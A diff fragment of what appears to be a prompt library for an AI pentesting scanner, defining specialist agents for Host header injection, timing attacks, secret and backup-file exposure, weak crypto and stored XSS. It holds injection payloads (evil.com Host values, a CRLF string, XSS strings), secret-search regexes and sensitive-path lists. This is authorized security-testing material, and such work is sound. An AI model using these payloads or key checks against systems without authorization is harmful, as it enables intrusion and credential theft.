is claimed (returns content). CNAME target is active. DNS record recently updated. Provider requires domain verification.", + "technology_hints": {"general": "Fingerprints: 'NoSuchBucket' (S3), 'There isn\\'t a GitHub Pages site here' (GitHub), 'herokucdn.com/error-pages' (Heroku)"} + }, + + "host_header_injection": { + "role": "You are a Host header injection specialist.", + "detection_strategy": "Manipulate the Host header to poison password reset links, access virtual hosts, or bypass access controls.", + "test_methodology": "1. Send request with Host: evil.com. 2. Check if Host value appears in response (links, redirects). 3. Test password reset with modified Host header. 4. Try X-Forwarded-Host override. 5. Test for virtual host routing bypass.", + "payload_selection": "Host: evil.com Host: target.com:evil.com@evil.com Host: evil.com%0d%0aX-Injected:true X-Forwarded-Host: evil.com X-Host: evil.com", + "verification_criteria": "CONFIRMED if: Host header value used in generated links (password reset URL points to evil.com), OR virtual host routing bypassed, OR cache poisoned.", + "exploitation_guidance": "Document: injected Host value, resulting link/behavior change, and impact (password reset token theft, cache poisoning).", + "false_positive_indicators": "Host header validated/ignored. Password reset uses hardcoded base URL. Virtual hosts properly isolated.", + "technology_hints": {"python": "Django: request.get_host(), ALLOWED_HOSTS setting", "php": "$_SERVER['HTTP_HOST'] usage", "general": "Password reset token theft is the primary exploit."} + }, + + "timing_attack": { + "role": "You are a timing attack specialist.", + "detection_strategy": "Measure response time differences to extract secrets (valid usernames, passwords character by character, HMAC comparison).", + "test_methodology": "1. Test username enumeration: measure response time for valid vs invalid usernames. 2. Test token/HMAC comparison: measure response for first-char-correct vs all-wrong. 3. Send 100+ requests to get statistical significance. 4. Use median timing to reduce jitter.", + "payload_selection": "Username timing: valid_user vs aaaaaa (measure ms difference). Token timing: correct_first_char vs wrong_first_char. Statistical: 100+ requests per variant, use median.", + "verification_criteria": "CONFIRMED if: statistically significant timing difference (>2 standard deviations) between valid/invalid inputs across 100+ measurements.", + "exploitation_guidance": "Document: timing measurements, statistical analysis, and information extracted (valid usernames, token characters).", + "false_positive_indicators": "Network jitter larger than timing difference. Constant-time comparison used. Rate limiting interferes with measurement.", + "technology_hints": {"general": "Target: string comparison (==) vs constant-time (hmac.compare_digest). Local network testing reduces jitter."} + }, + + "improper_error_handling": { + "role": "You are an improper error handling specialist.", + "detection_strategy": "Trigger error conditions to find verbose error messages that disclose internal information (stack traces, paths, database details, config).", + "test_methodology": "1. Send malformed input to trigger errors. 2. Request non-existent pages. 3. Send oversized requests. 4. Use unexpected content types. 5. Check for framework-specific error pages. 6. Analyze error messages for sensitive data.", + "payload_selection": "Invalid input types (string where int expected). Very long strings (10000+ chars). Special characters (null bytes, unicode). Missing required parameters. Invalid JSON/XML. Division by zero.", + "verification_criteria": "CONFIRMED if: error response contains: source code paths, database connection strings, stack traces with line numbers, framework versions, internal IP addresses.", + "exploitation_guidance": "Document: trigger condition and all sensitive information disclosed in error messages.", + "false_positive_indicators": "Generic error pages. Custom error handlers. Error details only in logs (not response). Expected error messages (validation).", + "technology_hints": {"php": "display_errors, xdebug output", "python": "Django DEBUG=True, Flask debug mode", "java": "Stack traces in JSP/Spring error pages", "node": "Express default error handler"} + }, + + "sensitive_data_exposure": { + "role": "You are a sensitive data exposure specialist.", + "detection_strategy": "Find sensitive data (PII, credentials, tokens, financial data) exposed in responses, URLs, client-side storage, or public files.", + "test_methodology": "1. Analyze API responses for over-exposure (password hashes, tokens, PII). 2. Check URLs for sensitive data (tokens in query params). 3. Check localStorage/sessionStorage. 4. Check for sensitive data in HTML comments. 5. Review JavaScript files for embedded secrets.", + "payload_selection": "N/A - inspection-based. Check: API responses for extra fields, HTML source comments, JS files for API keys, localStorage for tokens, URL parameters for sensitive data.", + "verification_criteria": "CONFIRMED if: sensitive data (passwords, tokens, PII, financial data) exposed to unauthorized viewers or in insecure channels.", + "exploitation_guidance": "Document: type of sensitive data, location (response, URL, storage), and who can access it. Screenshot the exposure.", + "false_positive_indicators": "Data intended to be public. User viewing their own data. Encrypted/hashed values. Test/dummy data.", + "technology_hints": {"general": "Check: API responses (hidden fields), GraphQL (over-fetching), HTML comments, JS bundles (source maps), HTTP Referer header leaking tokens"} + }, + + "information_disclosure": { + "role": "You are an information disclosure specialist.", + "detection_strategy": "Find unintended information leaks: server versions, internal paths, debug info, technology stack details, source code comments.", + "test_methodology": "1. Check Server header for version. 2. Check X-Powered-By header. 3. Trigger errors for path disclosure. 4. Check robots.txt, sitemap.xml. 5. Check HTML comments for developer notes. 6. Check .git, .svn exposure.", + "payload_selection": "Check: Server header, X-Powered-By, X-AspNet-Version. /.git/config, /.svn/entries, /.env, /robots.txt, /sitemap.xml, /crossdomain.xml, /clientaccesspolicy.xml", + "verification_criteria": "CONFIRMED if: internal information disclosed (server version, source paths, developer comments, technology stack) that aids further attacks.", + "exploitation_guidance": "Document: each disclosure, location, and how it could aid further attacks.", + "false_positive_indicators": "Intentionally public information. Generic server headers. Version info not specific enough to be useful.", + "technology_hints": {"general": "Check: Git exposure (.git/HEAD), SVN (.svn/entries), env files (.env), DS_Store, .idea/, node_modules/"} + }, + + "api_key_exposure": { + "role": "You are an API key exposure specialist.", + "detection_strategy": "Find API keys, secrets, and tokens hardcoded in client-side code, public repositories, or exposed endpoints.", + "test_methodology": "1. Search JavaScript files for: api_key, apiKey, secret, token, password patterns. 2. Check source maps for server-side code. 3. Check environment variable exposure. 4. Verify found keys are valid by testing API calls.", + "payload_selection": "Search patterns: /api[_-]?key/i, /secret/i, /token/i, /password/i, /AWS_/i, /PRIVATE_KEY/i, /sk_live_/i (Stripe), /AIza/i (Google)", + "verification_criteria": "CONFIRMED if: valid API key found in client-side code that provides unauthorized access or incurs costs.", + "exploitation_guidance": "Document: key type, location, and permissions (test API call to verify). Show what access the key provides. DO NOT abuse keys.", + "false_positive_indicators": "Public/read-only API keys (intended for client-side). Expired/revoked keys. Test/sandbox keys. Restricted-scope keys.", + "technology_hints": {"general": "Common locations: JS bundles, .env files, git history, source maps, HTML meta tags, mobile app binaries"} + }, + + "source_code_disclosure": { + "role": "You are a source code disclosure specialist.", + "detection_strategy": "Find exposed source code through misconfigured servers, backup files, version control exposure, or source maps.", + "test_methodology": "1. Check for .git exposure: /.git/config, /.git/HEAD. 2. Check for source maps: /app.js.map. 3. Check for backup files: index.php.bak, config.php~. 4. Try file extension manipulation: .php → .phps, .txt. 5. Check for directory listing of source dirs.", + "payload_selection": "/.git/config /.git/HEAD /.svn/entries /app.js.map /main.js.map /index.php.bak /config.php~ /web.config.old /backup.zip /.DS_Store", + "verification_criteria": "CONFIRMED if: source code accessible (Git repo cloneable, source maps reveal server code, backup files contain source).", + "exploitation_guidance": "Document: source code location, type, and sensitive content found (credentials, logic, vulnerabilities). Use for white-box analysis.", + "false_positive_indicators": "Source maps for public open-source code. Git repo intentionally public. Backup files don't contain sensitive data.", + "technology_hints": {"general": "GitTools for .git extraction, source-map-explorer for JS maps, common backup extensions: .bak, .old, .orig, ~, .swp"} + }, + + "backup_file_exposure": { + "role": "You are a backup file exposure specialist.", + "detection_strategy": "Find exposed backup files, database dumps, and configuration backups that contain sensitive data.", + "test_methodology": "1. Check common backup paths: /backup.sql, /db.sql, /backup.zip, /site.tar.gz. 2. Try filename variations: index.php.bak, web.config.bak. 3. Check for automated backup directories: /backups/, /dump/. 4. Check for database export files.", + "payload_selection": "/backup.sql /dump.sql /database.sql /backup.zip /backup.tar.gz /site.zip /db_backup.sql /backup/latest.sql /*.sql /wp-content/backup-*", + "verification_criteria": "CONFIRMED if: backup file downloadable containing source code, database dumps, or configuration with credentials.", + "exploitation_guidance": "Document: backup file URL, type, and sensitive contents (credentials, user data, source code).", + "false_positive_indicators": "404 on all backup paths. Backup directory requires auth. Files are encrypted.", + "technology_hints": {"general": "Common CMS backup plugins create predictable paths. Check: UpdraftPlus (/wp-content/updraft/), phpMyAdmin exports, mongodump files"} + }, + + "version_disclosure": { + "role": "You are a version disclosure specialist.", + "detection_strategy": "Identify specific software versions that map to known CVEs, enabling targeted exploitation.", + "test_methodology": "1. Check headers: Server, X-Powered-By, X-AspNet-Version. 2. Check meta generators: . 3. Check /readme.html, /CHANGELOG, /VERSION. 4. Fingerprint via response patterns. 5. Check JavaScript library versions.", + "payload_selection": "Check: /readme.html /CHANGELOG.md /VERSION /license.txt. Headers: Server, X-Powered-By. HTML: meta generator. JS: jQuery.fn.jquery, angular.version, React.version", + "verification_criteria": "CONFIRMED if: specific software version identified that has known CVEs, providing a clear attack vector.", + "exploitation_guidance": "Document: software name, version, source of disclosure, and mapped CVEs. Cross-reference with exploit databases.", + "false_positive_indicators": "Version is latest (no known CVEs). Generic version without specific patch level. Version info is fabricated/honeypot.", + "technology_hints": {"general": "Cross-reference: CVE databases, exploit-db, Vulners. Focus on: WordPress, jQuery, Apache, PHP, nginx versions"} + }, + + # ===== CRYPTO & SUPPLY (84-91) ===== + + "weak_encryption": { + "role": "You are a cryptographic weakness specialist.", + "detection_strategy": "Identify weak encryption algorithms (DES, 3DES, RC4, ECB mode) used to protect sensitive data in transit or at rest.", + "test_methodology": "1. Check TLS cipher suites for weak algorithms. 2. Analyze encrypted data for patterns (ECB mode produces identical blocks). 3. Check for custom/homebrew encryption. 4. Check key sizes (< 128-bit symmetric, < 2048-bit RSA).", + "payload_selection": "N/A - inspection-based. Analyze: TLS handshake, encrypted cookies, API tokens, file encryption.", + "verification_criteria": "CONFIRMED if: weak algorithm identified in use for sensitive data (DES, RC4, ECB mode AES, < 2048-bit RSA, MD5 for password hashing).", + "exploitation_guidance": "Document: algorithm used, context, key size, and practical attack (ECB pattern analysis, known-plaintext for RC4).", + "false_positive_indicators": "Strong algorithms in use. Weak cipher available but not preferred. Legacy support with proper fallback. Non-sensitive data encrypted.", + "technology_hints": {"general": "Check: openssl s_client output, response patterns for ECB, JWT 'alg' header, bcrypt/scrypt for passwords"} + }, + + "weak_hashing": { + "role": "You are a weak hashing detection specialist.", + "detection_strategy": "Identify use of weak hash algorithms (MD5, SHA1) for security-critical purposes like password storage or integrity verification.", + "test_methodology": "1. Check if password hashes are exposed (API responses, database dumps, error messages). 2. Identify hash format: MD5 (32 hex), SHA1 (40 hex), bcrypt ($2b$). 3. Check for unsalted hashes. 4. Test if hash collisions possible.", + "payload_selection": "N/A - inspection-based. Look for: 32-char hex strings (MD5), 40-char hex (SHA1), check if same input produces same hash (no salt).", + "verification_criteria": "CONFIRMED if: MD5/SHA1 used for password storage (identifiable by hash length/format), OR unsalted hashes (same password = same hash).", + "exploitation_guidance": "Document: hash algorithm, context (passwords, tokens), and demonstrate weakness (rainbow table lookup, hash collision).", + "false_positive_indicators": "Hash used for non-security purposes (caching, checksums). bcrypt/scrypt/argon2 in use. Salted hashes.", + "technology_hints": {"general": "Safe: bcrypt, scrypt, argon2. Unsafe for passwords: MD5, SHA1, SHA256 without salt. Check: password reset tokens, session IDs"} + }, + + "weak_random": { + "role": "You are a weak randomness detection specialist.", + "detection_strategy": "Identify predictable random number generation used for security tokens, session IDs, or password reset codes.", + "test_methodology": "1. Collect 100+ tokens/session IDs. 2. Analyze for patterns (sequential, timestamp-based, low entropy). 3. Check if tokens are predictable (next token from previous). 4. Check reset code entropy (4-digit vs UUID).", + "payload_selection": "Collect: 100 session IDs, 20 password reset tokens, CSRF tokens. Analyze: entropy, patterns, predictability. Test: can next value be predicted?", + "verification_criteria": "CONFIRMED if: tokens predictable (sequential, timestamp-based), OR low entropy (4-digit reset codes), OR same seed produces same sequence.", + "exploitation_guidance": "Document: token generation weakness, analysis of collected tokens, and demonstrated prediction of future tokens.", + "false_positive_indicators": "UUID v4 used (128-bit random). Cryptographic PRNG. High entropy tokens. Tokens expire quickly.", + "technology_hints": {"php": "rand()/mt_rand() vs random_bytes()", "python": "random vs secrets module", "java": "java.util.Random vs SecureRandom", "node": "Math.random() vs crypto.randomBytes()"} + }, + + "cleartext_transmission": { + "role": "You are a cleartext transmission specialist.", + "detection_strategy": "Identify sensitive data transmitted over unencrypted HTTP connections, including mixed content on HTTPS pages.", + "test_methodology": "1. Check if site accessible via HTTP (no redirect to HTTPS). 2. Check for mixed content (HTTPS page loading HTTP resources). 3. Check if credentials submitted over HTTP. 4. Check for HSTS. 5. Check API endpoints for HTTP access.", + "payload_selection": "N/A - inspection-based. Access site via http://, check for redirect. Check login form action URL. Check HSTS header. Check mixed content warnings.", + "verification_criteria": "CONFIRMED if: sensitive data (credentials, tokens, PII) transmitted over HTTP, OR login form submits to HTTP endpoint, OR no HTTP→HTTPS redirect.", + "exploitation_guidance": "Document: HTTP endpoints handling sensitive data, missing HSTS, and mixed content issues.", + "false_positive_indicators": "HTTP redirects to HTTPS. HSTS deployed. No sensitive data on HTTP pages. Internal/development only.", + "technology_hints": {"general": "Check: login forms, API endpoints, cookie Secure flag, HSTS preload, mixed content, internal API calls"} + }, + + "vulnerable_dependency": { + "role": "You are a vulnerable dependency detection specialist.", + "detection_strategy": "Identify third-party libraries and frameworks with known CVEs that could be exploited.", + "test_methodology": "1. Fingerprint JavaScript libraries (jQuery, Angular, React versions). 2. Check package.json, requirements.txt, pom.xml if exposed. 3. Cross-reference versions with CVE databases. 4. Check for exploit availability. 5. Verify exploitability in context.", + "payload_selection": "Fingerprint: jQuery.fn.jquery, angular.version.full, React.version. Check: /package.json, /composer.json, /Gemfile.lock. CVE lookup: NVD, Snyk, npm audit.", + "verification_criteria": "CONFIRMED if: library version with known exploitable CVE identified, AND vulnerability is applicable to how the library is used.", + "exploitation_guidance": "Document: library, version, CVE, and proof of exploitability. Demonstrate if PoC exploit works in context.", + "false_positive_indicators": "CVE not applicable to usage context. Patched via backport. Mitigating controls in place. CVE is low severity/theoretical.", + "technology_hints": {"general": "Check: npm audit, pip-audit, OWASP Dependency-Check, Retire.js for JavaScript"} + }, + + "outdated_component": { + "role": "You are an outdated software component specialist.", + "detection_strategy": "Identify significantly outdated software components (CMS, frameworks, servers) that may have multiple known vulnerabilities.", + "test_methodology": "1. Fingerprint CMS version (WordPress, Drupal, Joomla). 2. Check server software version. 3. Identify framework version. 4. Compare with current stable release. 5. List CVEs for the identified version.", + "payload_selection": "WordPress: /readme.html, /wp-includes/version.php. Drupal: /CHANGELOG.txt. Joomla: /administrator/manifests/files/joomla.xml. Generic: Server header, X-Powered-By.", + "verification_criteria": "CONFIRMED if: software version is significantly outdated (2+ major versions behind or known critical CVEs), with exploitable vulnerabilities.", + "exploitation_guidance": "Document: component, version, current version, and CVE list. Demonstrate critical exploits if applicable.", + "false_positive_indicators": "Component is latest version. Version only slightly behind. Long-term support branch with backported patches.", + "technology_hints": {"general": "Focus on: WordPress + plugins, jQuery, Apache/nginx, PHP, framework versions. Use Wappalyzer-style fingerprinting."} + }, + + "insecure_cdn": { + "role": "You are a CDN/third-party resource security specialist.", + "detection_strategy": "Identify insecure loading of third-party resources without Subresource Integrity (SRI) hashes, enabling supply chain attacks.", + "test_methodology": "1. Find external script/CSS includes (CDN libraries). 2. Check for integrity= attribute (SRI). 3. Check for crossorigin attribute. 4. Verify CDN HTTPS usage. 5. Check for deprecated/unmaintained CDN sources.", + "payload_selection": "N/A - inspection-based. Check: ", - "", - "", - "javascript:alert('StoredXSS')", - "click", + # Basic script tags + "", + "", + "", + "", + "ipt>alert(1)ipt>", + "", + "", + "", + "", + "", + "", + "", + "", + # SVG event handlers + "", + "", + "", + "", + "", + "", + # Other element events + "", + "", + "", + "
", + "", + "